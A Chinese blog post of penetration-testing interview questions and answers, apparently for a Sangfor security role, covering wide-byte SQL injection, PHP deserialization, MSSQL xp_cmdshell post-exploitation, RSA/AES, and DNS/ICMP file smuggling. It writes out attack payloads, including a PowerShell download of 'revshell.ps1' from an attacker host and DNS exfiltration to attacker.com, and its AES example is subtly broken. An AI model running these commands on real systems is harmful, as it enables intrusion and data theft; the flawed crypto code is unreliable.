2025年渗透测试面试题总结-某深信服 -安全工程师(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[深信服 -安全工程师](#深信服 -安全工程师)

一、宽字节注入原理与编码影响

(一)技术原理

(二)编码范围扩展

(三)防御方案

二、PHP反序列化漏洞深度解析

(一)漏洞形成机制

(二)攻击面扩展

(三)防御体系ini

三、MSSQL服务权限横向渗透

(一)权限提升路径

(二)横向移动技术

四、密码学算法核心原理

(一)RSA算法流程

(二)AES算法架构

五、不出网环境文件传输方案

(一)协议隧道技术

(二)存储介质利用

六、防御体系构建建议


深信服 -安全工程师

复制代码
宽字节注入原理,是否只有gbk编码存在宽字节注入
php反序列化原理
内网一台机器,只有一个mssql的服务账户权限,如何进行后续的利用
ras算法原理/aes算法原理
一台机器不能出网,如何把一个exe文件放到对应的目标机器上去(dmz)

一、宽字节注入原理与编码影响

(一)技术原理

宽字节注入是一种利用数据库字符集转换漏洞的SQL注入技术,核心逻辑在于:

  1. 多字节编码(如GBK)将两个连续字节解析为一个中文字符
  2. 当转义符号'被转义为\'时(0x5c),若前导字节与0x5c组成合法GBK字符(如0xbf5c对应"縗")
  3. 导致单引号逃逸闭合,形成注入点

典型攻击Payload:

复制代码
sql`%bf%27 UNION SELECT 1,version()-- `

此时数据库解析为:

复制代码
0xbf5c27 → 縗'(0x5c被"吞噬")
(二)编码范围扩展
  1. 主要影响编码
    • GBK系列(GB2312/GB18030)
    • BIG5(繁体中文)
    • Shift-JIS(日文)
    • EUC-KR(韩文)
  2. UTF-8的防御性
    • 采用3-4字节编码机制
    • 严格编码校验机制
    • 0x5c无法与前导字节构成合法字符
(三)防御方案
复制代码
php`// 最佳实践组合 $db->set_charset("utf8mb4"); $stmt = $db->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $input);`

二、PHP反序列化漏洞深度解析

(一)漏洞形成机制
复制代码
php`class VulnerableClass { private $data; public function __wakeup() { system($this->data); } } // 攻击者构造的序列化数据 $payload = 'O:15:"VulnerableClass":1:{s:4:"data";s:9:"calc.exe";}'; unserialize($payload); // 触发命令执行 `

关键触发点

  • __destruct():对象销毁时自动执行
  • __wakeup():反序列化时初始化操作
  • __toString():对象被当作字符串使用时触发
(二)攻击面扩展
  1. POP链构造

    • 通过多个类的属性串联调用链
    • 利用魔术方法跳转执行流程
  2. Phar协议利用

    复制代码
    php`file_exists("phar://malicious.phar/test.txt"); `

    通过文件操作函数触发phar反序列化

(三)防御体系ini
复制代码
`; php.ini 配置加固 session.serialize_handler = php_serialize disable_functions = system,exec `

三、MSSQL服务权限横向渗透

(一)权限提升路径
  1. 存储过程利用

    复制代码
    sql`EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';`
  2. CLR组件攻击 :sql

    复制代码
    `CREATE ASSEMBLY ExploitAssembly FROM 0x4D5A9000... WITH PERMISSION_SET = UNSAFE;`
(二)横向移动技术
  1. 数据库链路渗透

    复制代码
    sql`SELECT * FROM OPENROWSET('SQLNCLI', 'Server=192.168.1.10;Trusted_Connection=yes;', 'EXEC master..xp_cmdshell ''powershell -c IEX(New-Object Net.WebClient).DownloadString("http://attacker/revshell.ps1")''') `
  2. 凭证提取技术

    • 使用PowerUpSQL提取Linked Server凭据
    • 解密MSSQL保存的自动化任务密码

四、密码学算法核心原理

(一)RSA算法流程
  1. 密钥生成

    复制代码
    n = p*q (p,q为大素数)
    φ(n) = (p-1)(q-1)
    e选择满足1<e<φ(n)且与φ(n)互质 
    d ≡ e⁻¹ mod φ(n)
  2. 加密过程

    复制代码
    C ≡ M^e mod n 
    M ≡ C^d mod n 
(二)AES算法架构
  1. 轮函数组成

    复制代码
    python`def Round(state, round_key): SubBytes(state) ShiftRows(state) MixColumns(state) AddRoundKey(state, round_key)`
  2. 密钥扩展

    • 使用Rijndael密钥调度算法
    • 每轮生成128/192/256位新密钥

五、不出网环境文件传输方案

(一)协议隧道技术
  1. DNS隧道传输

    复制代码
    powershell`# 发送端 $bytes = [System.IO.File]::ReadAllBytes("payload.exe") $b64 = [Convert]::ToBase64String($bytes) foreach ($chunk in ($b64 -split '(\w{63})')){ Resolve-DnsName "$chunk.attacker.com" -Type A } # 接收端 tshark -i eth0 -Y "dns.qry.name contains attacker.com" -T fields -e dns.qry.name `
  2. ICMP封装传输

    复制代码
    bash`# 发送端 icmpsh_m.py -t 目标IP -s -d payload.exe # 接收端 icmpsh_r.py -i eth0 `
(二)存储介质利用
  1. 数据库BLOB导出

    复制代码
    sql`INSERT INTO temp_table (data) VALUES (0x4D5A9000...) BCP "SELECT data FROM temp_table" queryout "C:\payload.exe" -S localhost -U sa -P password `
  2. Windows备用数据流 :cmd

    复制代码
    `type payload.exe > normal.txt:secret.exe mklink /H loader.exe normal.txt:secret.exe `

六、防御体系构建建议

  1. 纵深防御架构

    • 网络层:VLAN划分+ACL白名单
    • 主机层:Credential Guard+AppLocker
    • 应用层:CSP+输入净化
  2. 加密算法实践

    复制代码
    python`# 现代加密建议 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding def aes_encrypt(key, plaintext): padder = padding.PKCS7(128).padder() cipher = Cipher(algorithms.AES(key), modes.GCM(nonce)) encryptor = cipher.encryptor() return encryptor.update(padder.update(plaintext)) + encryptor.finalize() `
相关推荐
青 春 记 忆14 小时前
零基础入门Python11|Git实战:为任务管理器建立版本历史
开发语言·git·vscode·python·python3.11
Python私教14 小时前
多个项目怎么安全合并?先适配,再切换
后端·python·架构
黄敬峰15 小时前
告别 Vibe Coding!SDD 规范驱动开发实战:从文档到代码的 AI 开发新范式
面试
.道阻且长.15 小时前
9.LeetCode算法习题讲解--滑动窗口--无重复字符的最长字串
算法·leetcode·职场和发展·哈希算法
画中有画15 小时前
软件架构中质量属性(性能、安全、可扩展性)的权衡设计
java·运维·安全
唐山柳林16 小时前
筑牢“数字堤坝”,守住安全底线——洞庭湖堤防安全监测平台为蓄滞洪区安上“智慧大脑”
安全
hoaxxcj16 小时前
零能力 Agent 骗过评测实测:朴素 harness 被骗 75%,加固后仍漏掉「抄答案」
网络·安全·大模型·工程化·ai实战
Python私教16 小时前
从表格到管理系统:别先写页面,先补齐权限、流程和审计
数据库·后端·架构
陈皮波比茶16 小时前
Redis学习
数据库·redis·学习
—Miss. Z—16 小时前
备份与恢复
数据库·oracle